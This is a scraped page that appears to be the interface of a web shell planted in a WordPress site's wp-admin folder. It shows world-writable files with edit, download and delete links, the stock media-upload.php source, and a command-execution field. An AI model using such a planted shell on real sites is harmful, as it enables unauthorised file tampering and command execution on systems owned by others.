/
var
/
www
/
leolaart.com
/
www
/
wp-admin
/
/var/www/leolaart.com/www/wp-admin
mkdir
upload
Name
Size
Mode
Actions
css/
-
0777
rm
images/
-
0777
rm
includes/
-
0777
rm
js/
-
0777
rm
maint/
-
0777
rm
network/
-
0777
rm
user/
-
0777
rm
about.php
16485
0666
edit
dl
rm
admin-ajax.php
5146
0666
edit
dl
rm
admin-footer.php
2804
0666
edit
dl
rm
admin-functions.php
472
0666
edit
dl
rm
admin-header.php
9284
0666
edit
dl
rm
admin-post.php
2021
0666
edit
dl
rm
admin.php
12935
0666
edit
dl
rm
async-upload.php
5604
0666
edit
dl
rm
authorize-application.php
10335
0666
edit
dl
rm
comment.php
11643
0666
edit
dl
rm
contribute.php
5656
0666
edit
dl
rm
credits.php
4141
0666
edit
dl
rm
custom-background.php
482
0666
edit
dl
rm
custom-header.php
492
0666
edit
dl
rm
customize.php
11586
0666
edit
dl
rm
edit-comments.php
14484
0666
edit
dl
rm
edit-form-advanced.php
29481
0666
edit
dl
rm
edit-form-blocks.php
15528
0666
edit
dl
rm
edit-form-comment.php
13980
0666
edit
dl
rm
edit-link-form.php
6347
0666
edit
dl
rm
edit-tag-form.php
10658
0666
edit
dl
rm
edit-tags.php
22510
0666
edit
dl
rm
edit.php
19952
0666
edit
dl
rm
erase-personal-data.php
7505
0666
edit
dl
rm
export-personal-data.php
7940
0666
edit
dl
rm
export.php
11265
0666
edit
dl
rm
font-library.php
1480
0666
edit
dl
rm
freedoms.php
4574
0666
edit
dl
rm
import.php
7766
0666
edit
dl
rm
index.php
7864
0666
edit
dl
rm
install-helper.php
6961
0666
edit
dl
rm
install.php
18375
0666
edit
dl
rm
link-add.php
934
0666
edit
dl
rm
link-manager.php
4361
0666
edit
dl
rm
link-parse-opml.php
2721
0666
edit
dl
rm
link.php
2957
0666
edit
dl
rm
load-scripts.php
2070
0666
edit
dl
rm
load-styles.php
2995
0666
edit
dl
rm
media-new.php
3249
0666
edit
dl
rm
media-upload.php
3668
0666
edit
dl
rm
media.php
819
0666
edit
dl
rm
menu-header.php
10052
0666
edit
dl
rm
menu.php
18134
0666
edit
dl
rm
moderation.php
307
0666
edit
dl
rm
ms-admin.php
196
0666
edit
dl
rm
ms-delete-site.php
4613
0666
edit
dl
rm
ms-edit.php
216
0666
edit
dl
rm
ms-options.php
229
0666
edit
dl
rm
ms-sites.php
215
0666
edit
dl
rm
ms-themes.php
217
0666
edit
dl
rm
ms-upgrade-network.php
219
0666
edit
dl
rm
ms-users.php
215
0666
edit
dl
rm
my-sites.php
4831
0666
edit
dl
rm
nav-menus.php
50199
0666
edit
dl
rm
network.php
5523
0666
edit
dl
rm
options-connectors.php
1543
0666
edit
dl
rm
options-discussion.php
16403
0666
edit
dl
rm
options-general.php
22855
0666
edit
dl
rm
options-head.php
614
0666
edit
dl
rm
options-media.php
6640
0666
edit
dl
rm
options-permalink.php
22491
0666
edit
dl
rm
options-privacy.php
10704
0666
edit
dl
rm
options-reading.php
10198
0666
edit
dl
rm
options-writing.php
9404
0666
edit
dl
rm
options.php
14266
0666
edit
dl
rm
plugin-editor.php
14071
0666
edit
dl
rm
plugin-install.php
7433
0666
edit
dl
rm
plugins.php
30744
0666
edit
dl
rm
post-new.php
2768
0666
edit
dl
rm
post.php
10821
0666
edit
dl
rm
press-this.php
2470
0666
edit
dl
rm
privacy-policy-guide.php
3756
0666
edit
dl
rm
privacy.php
2512
0666
edit
dl
rm
profile.php
283
0666
edit
dl
rm
revision.php
5836
0666
edit
dl
rm
setup-config.php
17928
0666
edit
dl
rm
site-editor.php
12483
0666
edit
dl
rm
site-health-info.php
4173
0666
edit
dl
rm
site-health.php
10427
0666
edit
dl
rm
term.php
2249
0666
edit
dl
rm
theme-editor.php
17279
0666
edit
dl
rm
theme-install.php
24315
0666
edit
dl
rm
themes.php
49728
0666
edit
dl
rm
tools.php
3514
0666
edit
dl
rm
update-core.php
46202
0666
edit
dl
rm
update.php
13062
0666
edit
dl
rm
upgrade-functions.php
341
0666
edit
dl
rm
upgrade.php
6390
0666
edit
dl
rm
upload.php
15292
0666
edit
dl
rm
user-edit.php
41844
0666
edit
dl
rm
user-new.php
24664
0666
edit
dl
rm
users.php
25698
0666
edit
dl
rm
widgets-form-blocks.php
5235
0666
edit
dl
rm
widgets-form.php
19588
0666
edit
dl
rm
widgets.php
1112
0666
edit
dl
rm
Edit:
/var/www/leolaart.com/www/wp-admin/media-upload.php
(3668B)
<?php /** * Manage media uploaded file. * * There are many filters in here for media. Plugins can extend functionality * by hooking into the filters. * * @package WordPress * @subpackage Administration */ if ( ! isset( $_GET['inline'] ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'upload_files' ) ) { wp_die( __( 'Sorry, you are not allowed to upload files.' ), 403 ); } wp_enqueue_script( 'plupload-handlers' ); wp_enqueue_script( 'image-edit' ); wp_enqueue_script( 'set-post-thumbnail' ); wp_enqueue_style( 'imgareaselect' ); wp_enqueue_script( 'media-gallery' ); header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) ); // IDs should be integers. $ID = isset( $ID ) ? (int) $ID : 0; // phpcs:ignore WordPress.NamingConventions.ValidVariableName $post_id = isset( $post_id ) ? (int) $post_id : 0; // Require an ID for the edit screen. if ( isset( $action ) && 'edit' === $action && ! $ID ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName wp_die( '<h1>' . __( 'An error occurred during the upload process.' ) . '</h1>' . '<p>' . __( 'Invalid item ID. You can view all media items in the <a href="upload.php">Media Library</a>.' ) . '</p>', 403 ); } if ( ! empty( $_REQUEST['post_id'] ) && ! current_user_can( 'edit_post', $_REQUEST['post_id'] ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>', 403 ); } // Upload type: image, video, file, ...? if ( isset( $_GET['type'] ) ) { $type = (string) $_GET['type']; } else { /** * Filters the default media upload type in the legacy (pre-3.5.0) media popup. * * @since 2.5.0 * * @param string $type The default media upload type. Possible values include * 'image', 'audio', 'video', 'file', etc. Default 'file'. */ $type = apply_filters( 'media_upload_default_type', 'file' ); } // Tab: gallery, library, or type-specific. if ( isset( $_GET['tab'] ) ) { $tab = (string) $_GET['tab']; } else { /** * Filters the default tab in the legacy (pre-3.5.0) media popup. * * @since 2.5.0 * * @param string $tab The default media popup tab. Default 'type' (From Computer). */ $tab = apply_filters( 'media_upload_default_tab', 'type' ); } $body_id = 'media-upload'; // Let the action code decide how to handle the request. if ( 'type' === $tab || 'type_url' === $tab || ! array_key_exists( $tab, media_upload_tabs() ) ) { /** * Fires inside specific upload-type views in the legacy (pre-3.5.0) * media popup based on the current tab. * * The dynamic portion of the hook name, `$type`, refers to the specific * media upload type. * * The hook only fires if the current `$tab` is 'type' (From Computer), * 'type_url' (From URL), or, if the tab does not exist (i.e., has not * been registered via the {@see 'media_upload_tabs'} filter. * * Possible hook names include: * * - `media_upload_audio` * - `media_upload_file` * - `media_upload_image` * - `media_upload_video` * * @since 2.5.0 */ do_action( "media_upload_{$type}" ); } else { /** * Fires inside limited and specific upload-tab views in the legacy * (pre-3.5.0) media popup. * * The dynamic portion of the hook name, `$tab`, refers to the specific * media upload tab. Possible values include 'library' (Media Library), * or any custom tab registered via the {@see 'media_upload_tabs'} filter. * * @since 2.5.0 */ do_action( "media_upload_{$tab}" ); }
Save
cmd:
run